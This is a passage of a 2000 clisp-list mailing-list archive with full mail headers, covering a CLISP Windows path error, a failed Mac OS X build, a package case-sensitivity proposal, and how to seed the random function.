(8.9.3/8.9.3) with ESMTP id PAA15924; Wed, 8 Nov 2000 15:09:54 -0500 (EST) X-Envelope-To: To: Francisco =?iso-8859-1?q?Jes=FAs_Mart=EDn?= Mateos Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: A problem with Windows References: <200011061850.eA6IoEu20559@lists.sourceforge.net> <3A07002B.CE33FFD2@cica.es> <3A099A06.DAF9B57@cica.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Francisco =?iso-8859-1?q?Jes=FAs_Mart=EDn?= Mateos's message of "Wed, 08 Nov 2000 19:23:02 +0100" Date: 08 Nov 2000 15:04:30 -0500 Message-ID: Lines: 36 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id eA8K9xu03581 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message <3A099A06.DAF9B57@cica.es> > * On the subject of "Re: [clisp-list] Re: A problem with Windows" > * Sent on Wed, 08 Nov 2000 19:23:02 +0100 > * Honorable Francisco Jesús Martín Mateos writes: > > > > When I use "clisp" in "emacs" in my Windows 98, I have the following > > > error message > > > "(ERROR_BAD_NETPATH) The network path was not found" > > I've used the following in "_emacs" > (setq inferior-lisp-program "c:/clisp/lisp.exe -M c:/clisp/lispinit.mem") > > When I do "M-x run-lisp", I have the following error message > > [pathname.d:8514] > *** - Win32 error 53 (ERROR_BAD_NETPATH): The network path was not found. This is a CLISP error (this wasn't clear before - you omitted the crucial [pathname.d:8514] part). I am not getting it on my WinNT4sp6 box. Do you have your $HOME set? Where is your _emacs? Do you have a _clisprc in your $HOME? Could you please try creating an empty _clisprc? Thanks. > I've set the "debug-on-error" to t, but the *Backtrace* buffer didn't appear no wonder, this is a CLISP message, not an Emacs error. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Flying is not dangerous; crashing is. From daniel.buenzli@epfl.ch Fri Nov 10 06:07:58 2000 Received: from mail.swissonline.ch (mail.swissonline.ch [62.2.32.83]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAAE7uu16335 for ; Fri, 10 Nov 2000 06:07:57 -0800 Received: from localhost (sol-92-251.swissonline.ch [195.24.92.251]) by mail.swissonline.ch (8.9.3/8.9.3) with SMTP id PAA14141 for ; Fri, 10 Nov 2000 15:07:48 +0100 (MET) Message-Id: <200011101407.PAA14141@mail.swissonline.ch> Date: Fri, 10 Nov 2000 15:15:35 +0100 Content-Type: text/plain; charset=utf-8 X-Mailer: Apple Mail (2.337) From: Daniel Buenzli To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 (Apple Message framework v337) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id eAAE7uu16335 Subject: [clisp-list] Problems with MacOs X PB Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hello, I have problems to build clisp on MacOs X 1.0 PB (public beta). The C compiler I use is > localhost> cc -v > Reading specs from /usr/libexec/ppc/2.95.2/specs > Apple Computer, Inc. version cc-796.3, based on gcc driver version 2.7.2.1 executing gcc > version 2.95.2 and I 'm using the tcsh terminal. The underlying unix of MacOs X PB is Darwin 1.2 based on FreeBSD. First I had this problem : > localhost> setenv CC "cc -Wall" > localhost> ./configure --host=powerpc-apple-macosx lisp > ... > checking for BSD-compatible nm... /usr/bin/nm -p > checking whether ln -s works... (cached) yes > ltconfig: you must specify a host type if you use `--no-verify' > Try `ltconfig --help' for more information. > configure: error: libtool configure failed To avoid this error I changed the global variable 'host' to 'powerpc-apple-macosx' in the following files : clisp-2000-03-06/sigsev/autoconf/ltconfig clisp-2000-03-06/libiconv/autoconf/ltconfig clisp-2000-03-06/libiconv/autoconf/ltconfig It is certainly not the way to do it but it worked : > ... > creating config.h > make: *** No rule to make target `avcall-.lo', needed by `avcall.lo'. Stop. > > To continue building CLISP, the following commands are recommended > (cf. unix/INSTALL step 4): > cd lisp > ./makemake --with-readline --with-gettext > Makefile > make config.lsp > vi config.lsp > make > make check Then I had the following errors during make > ... > chmod 644 /Users/dbuenzli/tmp/clisp-2000-03-06/lisp/libsigsegv.a > libtool: install: warning: remember to run `libtool --finish /usr/local/lib' > if [ ! -d /Users/dbuenzli/tmp/clisp-2000-03-06/lisp ] ; then mkdir > /Users/dbuenzli/tmp/clisp-2000-03-06/lisp ; fi > cp sigsegv.h /Users/dbuenzli/tmp/clisp-2000-03-06/lisp/sigsegv.h > ln -s ../src/version.h version.h > cc -Wall -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c > In file included from spvw.d:21: > lispbibl.d:1409: #error "Preferred integer sizes depend on CPU -- Grˆflen intBWsize, > intWLsize, intBWLsize neu einstellen!" > lispbibl.d:1583: #error "Preferred digit size depends on CPU -- Grˆfle intDsize neu > einstellen!" > In file included from spvw.d:21: > lispbibl.d:1993: warning: `TIME_ABSOLUTE' redefined > /System/Library/Frameworks/System.framework/Headers/mach/clock_types.h:114: warning: > this is the location of the previous definition > make: *** [spvw.o] Error 1 First to avoid the last error I dropped the line lispbibl.d:1993. For the two other errors, the problem is that my CPU (powerpc) is not recognized and as I don't exactly understand what these values are I replaced line lispbibl.d:1409 by defining the intBWsize, intWLsize and intBWLsize to intBsize, intWsize, intLSize. And replaced line lispbibl.d:1583 by using the MC680Y0 values (I made theses changes in the src directory). But then I got these errors (and I'm almost sure I did not introduce any syntax errors in my changes) : > localhost> make > test -d linkkit || ln -s . linkkit > test -d bindings || mkdir bindings > cc -Wall -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c > In file included from lispbibl.d:1702, > from spvw.d:21: > unix.d:109: parse error before `addr' > In file included from spvw.d:400: > spvw_mmap.d:40: parse error before `addr' > spvw_mmap.d:43: warning: type defaults to `int' in declaration of `MMAP_ADDR_T' > spvw_mmap.d:43: parse error before `addr' > spvw_mmap.d: In function `mmap_zeromap': > spvw_mmap.d:384: `MMAP_ADDR_T' undeclared (first use in this function) > spvw_mmap.d:384: (Each undeclared identifier is reported only once > spvw_mmap.d:384: for each function it appears in.) > spvw_mmap.d:384: parse error before `map_addr' > spvw_mmap.d:389: warning: left-hand operand of comma expression has no effect > spvw_mmap.d:389: warning: left-hand operand of comma expression has no effect > spvw_mmap.d:389: warning: left-hand operand of comma expression has no effect > spvw_mmap.d:390: parse error before `==' > spvw_mmap.d:384: warning: empty body in an if-statement > spvw_mmap.d:381: warning: unused parameter `map_addr' > spvw_mmap.d:382: warning: unused parameter `map_len' > spvw_mmap.d: At top level: > spvw_mmap.d:398: parse error before `return' > In file included from spvw.d:705: > spvw_sigpipe.d: In function `sigpipe_handler': > spvw_sigpipe.d:34: warning: unused parameter `sig' > In file included from spvw.d:706: > spvw_sigint.d: In function `interrupt_handler': > spvw_sigint.d:89: warning: unused parameter `sig' > In file included from spvw.d:707: > spvw_sigwinch.d: In function `sigwinch_handler': > spvw_sigwinch.d:84: warning: unused parameter `sig' > In file included from spvw.d:717: > spvw_allocate.d: In function `make_space_gc_TRUE': > spvw_allocate.d:243: warning: label `doing_gc' defined but not used > spvw_allocate.d: In function `make_space_gc_FALSE': > spvw_allocate.d:306: warning: label `doing_gc' defined but not used > In file included from spvw.d:723: > spvw_circ.d: In function `get_circ_mark': > spvw_circ.d:804: warning: label `m_array' defined but not used > spvw_circ.d:787: warning: label `m_svector' defined but not used > spvw_circ.d: In function `get_circ_unmark': > spvw_circ.d:984: warning: label `u_array' defined but not used > spvw_circ.d:970: warning: label `u_svector' defined but not used > spvw_circ.d: In function `subst_circ_mark': > spvw_circ.d:1528: warning: label `case_instance' defined but not used > spvw_circ.d:1526: warning: label `case_closure' defined but not used > spvw_circ.d: In function `subst_circ_unmark': > spvw_circ.d:1664: warning: label `case_instance' defined but not used > spvw_circ.d:1662: warning: label `case_closure' defined but not used > spvw.d: In function `SP': > spvw.d:782: warning: function returns address of local variable > spvw.d: In function `main': > spvw.d:2511: warning: unused variable `for_objects' > spvw.d: At top level: > spvw_module.d:20: warning: `init_modules_0' declared `static' but never defined > spvw_mmap.d:25: warning: `mmap_prepare' declared `static' but never defined > spvw_sigpipe.d:12: warning: `install_sigpipe_handler' declared `static' but > never defined > spvw_sigint.d:12: warning: `install_sigint_handler' declared `static' but never > defined > spvw_sigwinch.d:7: warning: `install_sigwinch_handler' declared `static' but > never defined > make: *** [spvw.o] Error 1 Thank you for your answer, best regards, Daniel Buenzli From marcoxa@cs.nyu.edu Tue Nov 14 06:58:56 2000 Received: from octagon.mrl.nyu.edu (OCTAGON.MRL.NYU.EDU [128.122.47.83]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAEEwtu08602 for ; Tue, 14 Nov 2000 06:58:55 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA23607; Tue, 14 Nov 2000 09:55:01 -0500 Date: Tue, 14 Nov 2000 09:55:01 -0500 Message-Id: <200011141455.JAA23607@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Case Handling Proposal. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hi I'd like some feedback on the proposal I made on C.L.L. regarding the "case sensitivity" issue. I believe this proposal goes in a direction that is already present in CLisp (as a matter of fact I inspired myself to it). So I'd like some feedback especially w.r.t. what the CLisp team thinks about it, and - if liked - what it'd take the CLisp team to implement it. Of course the proposal will have to be amended here and there. Cheers Marco ============================================================================== Since the crux of the problem is two-fold - case sensitivity and symbol lookup - the personal opinion I formed is that this issue should be addressed at the package level. I believe that tagging a package with a (readtable) case may be the right solution. CLisp already hase something similar. So the idea would be to do the following 1 - Changes to DEFPACKAGE. (defpackage "FOO" (:use "COMMON-LISP") (:nicknames "foo") ; Just to show that you can accomodate this. (:symbol-name-case ) (:export "ZUT" "gnao" "Bar" "qWe" #:a-Symbol #:another-symbol #:AND-ANOTHER #:|an-Escaped-symBOl| #:|a Funky symBOl|)) The :SYMBOL-NAME-CASE option will have effect on the way in which symbols are looked up in the package. It will have one of the following values: - :PRESERVE The symbol names are INTERNed in the package literally¹. The symbol names are to be looked up literally. I.e. the reader, *after* having read in the symbol and having done its processing according to READTABLE-CASE looks up the symbol name in the appropriate package. The match must be done as if through STRING=. - :UPCASE The symbol names are INTERNed in the package after a STRING-UPCASE equivalent operation has been performed on them. The symbol names are to be looked up literally. I.e. the reader, *after* having read in the symbol and having done its processing according to READTABLE-CASE looks up the symbol name in the appropriate package. The match must be done as if through STRING=. - :DOWNCASE As per :UPCASE, with STRING-DOWNCASE. - :INVERT As per :UPCASE, with STRING-INVERT-CASE² - :IGNORE The symbol names are INTERNed in the package literally¹. The symbol names are not to be looked up literally. I.e. the reader, *after* having read in the symbol and having done its processing according to READTABLE-CASE looks up the symbol name in the appropriate package. The match must be done as if through STRING-EQUAL. The value of :IGNORE is the default. The system packages (most notably :COMMON-LISP) and the legacy packages will just need to add a (:symbol-name-case :ignore) or, when so explicitely desired, (:symbol-name-case :uppercase) 1.1 - Examples of interaction among the parameters <... omissis ...> 1.2 - Problems The main problem to address in this setup is what to do with inherited symbols. There are many cases to consider³, however, the following changes should suffice. 2 - Changes to IMPORT (and to SHADOWING-IMPORT). IMPORT (and SHADOWING-IMPORT) must be limited. IMPORT of a symbol in a package with :SYMBOL-CASE-NAME set to :IGNORE or :PRESERVE is allowed without restrictions. IMPORT of a symbol in a package with :SYMBOL-CASE-NAME set to :UPCASE or :DOWNCASE or :INVERT is allowed if and only if the SYMBOL-NAME of the symbol being imported is STRING-EQUAL to the result of applying STRING-UPCASE, STRING-DOWNCASE or STRING-INVERT-CASE to the symbol SYMBOL-NAME itself. Otherwise a condition of type PACKAGE-ERROR (or a new appropriate one) is signalled. 3 - Inherited symbols. Since USE-PACKAGE makes symbol "assessible" but not "present" in the package "issuing" the call, no changes are needed at the interface level. The lookup of the inherited symbol is done through the current package, using the features of the used package. 4 - Changes to FIND-SYMBOL. See comments about DEFPACKAGE. 5 - Changes to MAKE-PACKAGE. MAKE-PACKAGE will accept the a new keyword :SYMBOL-NAME-CASE with possible values as described above. 6 - New Function PACKAGE-SYMBOL-NAME-CASE. A new accessor to retrieve the the aforementioned property. 7 - Changes to LOAD (not strictly necessary). LOAD should take an extra keyword argument named :READTABLE-CASE, which will set the value of (a copy of) (READTABLE-CASE *READTABLE*) before starting to READ the input contents. 8 - Examples The case of the "CLJava" translator proposed by John Foderaro can be dealt as follow (setf (readtable-case *readtable*) :preserve) (defpackage "Java" (:use "COMMON-LISP") (:symbol-name-case :preserve) (:export "addMouseListener" "this")) (defpackage "CLJava" (:use "COMMON-LISP") (:symbol-name-case :preserve) (:import-from "Java" "addMouseListener" "this") (:export "init" "getImage" "getCodeBase")) (in-package "CLJava") (def-java-method init () void :public (setq notImage (getImage (getCodeBase) "images/not.gif") crossImage (getImage (getCodeBase) "images/cross.gif")) (addMouseListener this)) In the example you could also write (defpackage "CLJava" (:use "COMMON-LISP" "Java") (:symbol-name-case :preserve) (:export "init" "getImage" "getCodeBase")) 9 - Costs The costs are the estimated to be the following a - Impact on existing code: Unable to estimate. It would seem that the current practice of writing CL code all lower case should remain unaffected. With :SYMBOL-CASE-NAME set to :IGNORE (the proposed default) the *PRINT-CASE* problem (when set to :DOWNCASE) would seem to go away. Packages written with the current uppercase style will continue to function without change. b - Impact on existing implementations: Moderate: the implementors must add all the code to support the proposed change. The most vexing problem will be to modify the behavior of FIND-SYMBOL and IMPORT to accomodate the different proposed cases. c - Impact on performance: "Interpreted" code will - most likely - suffer a performance hit because of the added complexity in FIND-SYMBOL. "Compiled" code will - most likely - not be affected by the changes proposed, except in the cases where a FIND-SYMBOL is inserted by the compiler in a way beyond user control. ADVANTAGES: These are the advantages I see in the above proposal (to paraphrase John Foderaro): Existing Common Lisp programs and systems are still Common Lisp programs and systems. Programmers are not required to follow any special coding standard unless so required by the declaration of a third party DEFPACKAGE declaration (or MAKE-PACKAGE invocation). New code written in a :PRESERVE READTABLE-CASE can be made to work in any system under programmer control. The :IGNORE default of the legacy packages and the :USE and IMPORT (cfr. SHADOWING-IMPORT) rules will ensure that they will not interfere with the :PRESERVE READTABLE-CASE being used. It is assumed that the new code will be put in packages with :SYMBOL-CASE-NAME set to :PRESERVE. There is no need for separate "images" to be provided by each implementor. Portability is ensured to a greater degree than just addressing the problem at the READTABLE-CASE level. People are forced to make a decision about declaring how their package work and to advertise this fact. Their code works in all conforming (to this proposal that is) implementations; i.e. how their code works is totally under the programmers' control, and they are not restricted to the decision on READTABLE-CASE (which could be left to :UPCASE) made by a given implementation. DISADVANTAGES: I foresee the following disadvantages. Actually only one. Given the (IMHO moderate) burden on the vendors and the implementors it may be that some systems will not implement the proposed changes. If the proposal will ever be adopted it will be the burden of the community to ensure that the vendors and the implementors will eventually conform. ¹ This is the current ANSI default. ² The function STRING-INVERT-CASE (and NSTRING-INVERT-CASE) must be defined appropriatedly and inserted in the standard. ³ I know I might be missing a lot here. ============================================================================== -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From Randy.Justice@cnet.navy.mil Tue Nov 14 10:49:15 2000 Received: from grlu5117.cnet.navy.mil (grlu5117.cnet.navy.Mil [160.127.129.23]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAEIn7u23999 for ; Tue, 14 Nov 2000 10:49:10 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA07234 for ; Tue, 14 Nov 2000 12:48:51 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Tue, 14 Nov 2000 12:51:27 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Tue, 14 Nov 2000 12:51:25 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Random function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hi. I am using the random function. Very strangely, it looks like the same sets of numbers keep appearing. In other languages, I have seen the same results. Other languages has a function to "seed" the random function. Does CLISP have a function to "seed" random function? Thank You Randy From sds@gnu.org Tue Nov 14 13:22:18 2000 Received: from user1.channel1.com (IDENT:root@user1.channel1.com [199.1.13.9]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAELMHu02948 for ; Tue, 14 Nov 2000 13:22:17 -0800 Received: from xchange.com (centurion3.exapps.com [12.25.11.194] (may be forged)) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA17126; Tue, 14 Nov 2000 16:22:10 -0500 (EST) X-Envelope-To: To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Random function References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: "Justice, Randy -CONT"'s message of "Tue, 14 Nov 2000 12:51:25 -0600" Date: 14 Nov 2000 16:16:39 -0500 Message-ID: Lines: 21 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion > * In message > * On the subject of "[clisp-list] Random function" > * Sent on Tue, 14 Nov 2000 12:51:25 -0600 > * Honorable "Justice, Randy -CONT" writes: > > I am using the random function. Very strangely, it looks like the > same sets of numbers keep appearing. > > In other languages, I have seen the same results. Other languages > has a function to "seed" the random function. > > Does CLISP have a function to "seed" random function? Please see http://www.lisp.org/HyperSpec/Body/fun_random.html http://www.lisp.org/HyperSpec/Body/fun_make-random-state.html -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! The only guy who got all his work done by Friday was Robinson Crusoe. From Randy.Justice@cnet.navy.mil Tue Nov 14 14:07:04 2000 Received: from grlu5117.cnet.navy.mil (grlu5117.cnet.navy.Mil [160.127.129.23]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAEM73u05879 for ; Tue, 14 Nov 2000 14:07:03 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id QAA14258 for ; Tue, 14 Nov 2000 16:06:56 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Tue, 14 Nov 2000 16:09:33 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Random function Date: Tue, 14 Nov 2000 16:09:33 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hi.. I'm new to lisp. I have looked at the reference. I did not get very much out of the reference manual. Let me give you an example. I start lisp. (random 1000) => 824 (random 1000) => 10 (random 1000) => 250 (random 1000) => 267 I restart the machine and restart lisp. (random 1000) => 824 (random 1000) => 10 (random 1000) => 250 (random 1000) => 267 I get the same results. I have tried "stuff" with "make-random-state" function. Thanks for any help... Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Tuesday, November 14, 2000 4:17 PM To: Justice, Randy -CONT Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Random function > * In message > * On the subject of "[clisp-list] Random function" > * Sent on Tue, 14 Nov 2000 12:51:25 -0600 > * Honorable "Justice, Randy -CONT" writes: > > I am using the random function. Very strangely, it looks like the > same sets of numbers keep appearing. > > In other languages, I have seen the same results. Other languages > has a function to "seed" the random function. > > Does CLISP have a function to "seed" random function? Please see http://www.lisp.org/HyperSpec/Body/fun_random.html http://www.lisp.org/HyperSpec/Body/fun_make-random-state.html -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! The only guy who got all his work done by Friday was Robinson Crusoe. From haible@ilog.fr Wed Nov 15 06:01:40 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAFE1du23729 for ; Wed, 15 Nov 2000 06:01:39 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA12737; Wed, 15 Nov 2000 14:56:45 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.119]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA16290; Wed, 15 Nov 2000 15:00:52 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA26315; Wed, 15 Nov 2000 14:59:54 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14866.38608.702554.941370@honolulu.ilog.fr> Date: Wed, 15 Nov 2000 14:59:44 +0100 (CET) To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Random function In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Justice, Randy -CONT writes: > Let me give you an example. I start lisp. > (random 1000) => 824 > (random 1000) => 10 > (random 1000) => 250 > (random 1000) => 267 > > I restart the machine and restart lisp. > (random 1000) => 824 > (random 1000) => 10 > (random 1000) => 250 > (random 1000) => 267 > > I get the same results. Ah, I see what you mean. The problem is that the *random-state* value is contained in the lisp image, and each time you start the same lisp image, the *random-state* value is the same. You might want to add (setq *random-state* (make-random-state t)) to your $HOME/.clisprc file. Bruno From Randy.Justice@cnet.navy.mil Wed Nov 15 06:52:08 2000 Received: from grlu5117.cnet.navy.mil (grlu5117.cnet.navy.Mil [160.127.129.23]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAFEq4u27468 for ; Wed, 15 Nov 2000 06:52:07 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id IAA27547; Wed, 15 Nov 2000 08:51:20 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id ; Wed, 15 Nov 2000 08:53:58 -0600 Message-ID: From: "Justice, Randy -CONT" To: "'Bruno Haible'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Random function Date: Wed, 15 Nov 2000 08:53:54 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion I lost sleep last night over this problem. Thank You. Randy -----Original Message----- From: Bruno Haible [mailto:haible@ilog.fr] Sent: Wednesday, November 15, 2000 9:00 AM To: Justice, Randy -CONT Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Random function Justice, Randy -CONT writes: > Let me give you an example. I start lisp. > (random 1000) => 824 > (random 1000) => 10 > (random 1000) => 250 > (random 1000) => 267 > > I restart the machine and restart lisp. > (random 1000) => 824 > (random 1000) => 10 > (random 1000) => 250 > (random 1000) => 267 > > I get the same results. Ah, I see what you mean. The problem is that the *random-state* value is contained in the lisp image, and each time you start the same lisp image, the *random-state* value is the same. You might want to add (setq *random-state* (make-random-state t)) to your $HOME/.clisprc file. Bruno _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net http://lists.sourceforge.net/mailman/listinfo/clisp-list From vincent.coetzee@ebucks.com Wed Nov 15 08:37:16 2000 Received: from carbon.rmb.co.za ([196.4.165.8]) by lists.sourceforge.net (8.11.1/8.11.1) with SMTP id eAFGbEu03008 for ; Wed, 15 Nov 2000 08:37:14 -0800 Received: from superclass([196.13.179.87]) (831 bytes) by carbon.rmb.co.za via sendmail with P:smtp/R:internet_mx/T:smtp (sender: ) id for ; Wed, 15 Nov 2000 18:37:10 +0200 (SAT) (Smail-3.2.0.103 1998-Oct-9 #6 built 1998-Oct-30) Message-Id: Date: Wed, 15 Nov 2000 18:37:10 +0200 Reply-To: vincent.coetzee@ebucks.com Content-Type: text/plain; charset=us-ascii X-Mailer: Apple Mail (2.337) From: Vincent Coetzee To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 (Apple Message framework v337) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id eAFGbEu03008 Subject: [clisp-list] Mac OS X PB Binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hi there I really need a Lisp environment on my Mac OS X box, and unfortunately do not have the time to spend a protracted period getting the source to compile on Mac OS X PB, (I have tried ;-<) does anyone know if there are any binaries available for either Mac OS X PB or DP 4 ? Thanks Vincent From haible@ilog.fr Wed Nov 15 09:41:32 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAFHfUu07981 for ; Wed, 15 Nov 2000 09:41:30 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA26769; Wed, 15 Nov 2000 18:36:57 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.20]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA18446; Wed, 15 Nov 2000 18:41:07 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA00728; Wed, 15 Nov 2000 18:41:12 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14866.51896.281040.832867@honolulu.ilog.fr> Date: Wed, 15 Nov 2000 18:41:12 +0100 (CET) To: vincent.coetzee@ebucks.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Mac OS X PB Binaries In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Vincent Coetzee writes: > I really need a Lisp environment on my Mac OS X box, and > unfortunately do not have the time to spend a protracted period > getting the source to compile on Mac OS X PB, (I have tried ;-<) > does anyone know if there are any binaries available for either Mac > OS X PB or DP 4 ? Mr. Alex Karahalios has reported success in comp.lang.lisp last week. You might ask him whether he can run "make distrib" and share the resulting binary package. Bruno From froydnj@email.rose-hulman.edu Fri Nov 17 16:18:53 2000 Received: from postal (postal.rose-hulman.edu [137.112.11.153]) by lists.sourceforge.net (8.11.1/8.11.1) with ESMTP id eAI0Iru13775 for ; Fri, 17 Nov 2000 16:18:53 -0800 Received: from email.rose-hulman.edu ([127.0.0.1]) by postal.rose-hulman.edu (PMDF V6.0-24 #44625) with ESMTP id <0G47004WN27FC2@postal.rose-hulman.edu> for clisp-list@lists.sourceforge.net; Fri, 17 Nov 2000 19:18:51 -0500 (EST) Date: Fri, 17 Nov 2000 19:18:51 -0500 From: Nathan Froyd To: clisp-list@lists.sourceforge.net Message-id: <0G47004WO27FC2@postal.rose-hulman.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 